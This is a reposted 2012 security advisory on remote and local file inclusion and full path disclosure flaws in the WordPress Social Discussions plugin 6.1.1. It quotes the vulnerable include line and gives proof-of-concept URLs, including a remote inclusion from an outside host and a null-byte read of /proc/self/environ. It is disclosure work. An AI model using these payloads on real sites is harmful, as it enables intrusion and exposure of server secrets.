ثـغرة الورد بريس : Wordpress Social Discussions Plugin 6.1.1 Multiple Vulnerabilities

[waraxe-2012-SA#093] - Multiple Vulnerabilities in Wordpress Social Discussions Plugin 
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Author: Janek Vind "waraxe" 
Date: 17. October 2012 
Location: Estonia, Tartu 
Web: http://www.waraxe.us/advisory-93.html 
 
 
Description of vulnerable target: 
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Enables Social Sharing of your blog posts to 30+ Social Networks. Plugin also 
enables you to Automatically Publish or Self Publish your Blog Posts to 25+  
Networks. 
 
http://wordpress.org/extend/plugins/social-discussions/ 
 
Affected version: 6.1.1 
 
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1. Remote File Inclusion in "social-discussions-networkpub_ajax.php" 
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Reasons: Uninitialized variable "$HTTP_ENV_VARS" 
Attack vectors: User-supplied parameter "HTTP_ENV_VARS" 
Preconditions: 
 1. register_globals=on 
 2. register_long_arrays=off 
 3. allow_url_include=on for RFI if PHP >= 5.2.0 
 4. PHP must be < 5.3.4 for LFI null-byte attacks 
 5. magic_quotes_gpc=off for LFI null-byte attacks 
 
 
Php script "social-discussions-networkpub_ajax.php" line 2: 
------------------------[ source code start ]---------------------------------- 
if (!function_exists('add_action')){ 
  @include_once($GLOBALS['HTTP_ENV_VARS']['DOCUMENT_ROOT'] . "/wp-config.php"); 
------------------------[ source code end ]------------------------------------ 
 
We can see, that script expects old-style array "HTTP_ENV_VARS" to be initialized 
and containing "DOCUMENT_ROOT" entry. But it appears, that if PHP directive 
"register_long_arrays=off", then "HTTP_ENV_VARS" is uninitialized and if in 
same time "register_globals=on", it is possible to fill that array with any 
value, leading to the RFI (Remote File Inclusion) vulnerability. 
 
 
Tests: 
 
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=http://php.net/? 
 
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=/proc/self/environ%00z 
 
 
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2. Full Path Disclosure in multiple scripts 
############################################################################### 
 
Reasons: Direct request to php script triggers pathname leak in error message 
Preconditions: PHP directive display_errors=on 
Result: Information Exposure Through an Error Message 
 
Tests: 
 
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub.php 
 
Fatal error: Call to undefined function __() in 
C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2 
 
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions.php 
 
Fatal error: Call to undefined function __() in 
C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2 
 
http://localhost/wp342/wp-content/plugins/social-discussions/social_discussions_service_names.php 
 
Fatal error: Call to undefined function __() in 
C:\apache_www\wp342\wp-content\plugins\social-discussions\social_discussions_service_names.php on line 3 
 
 
 
Contact: 
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come2waraxe@yahoo.com 
Janek Vind "waraxe" 
 
Waraxe forum:  http://www.waraxe.us/forums.html 
Personal homepage: http://www.janekvind.com/ 
Random project: http://albumnow.com/ 
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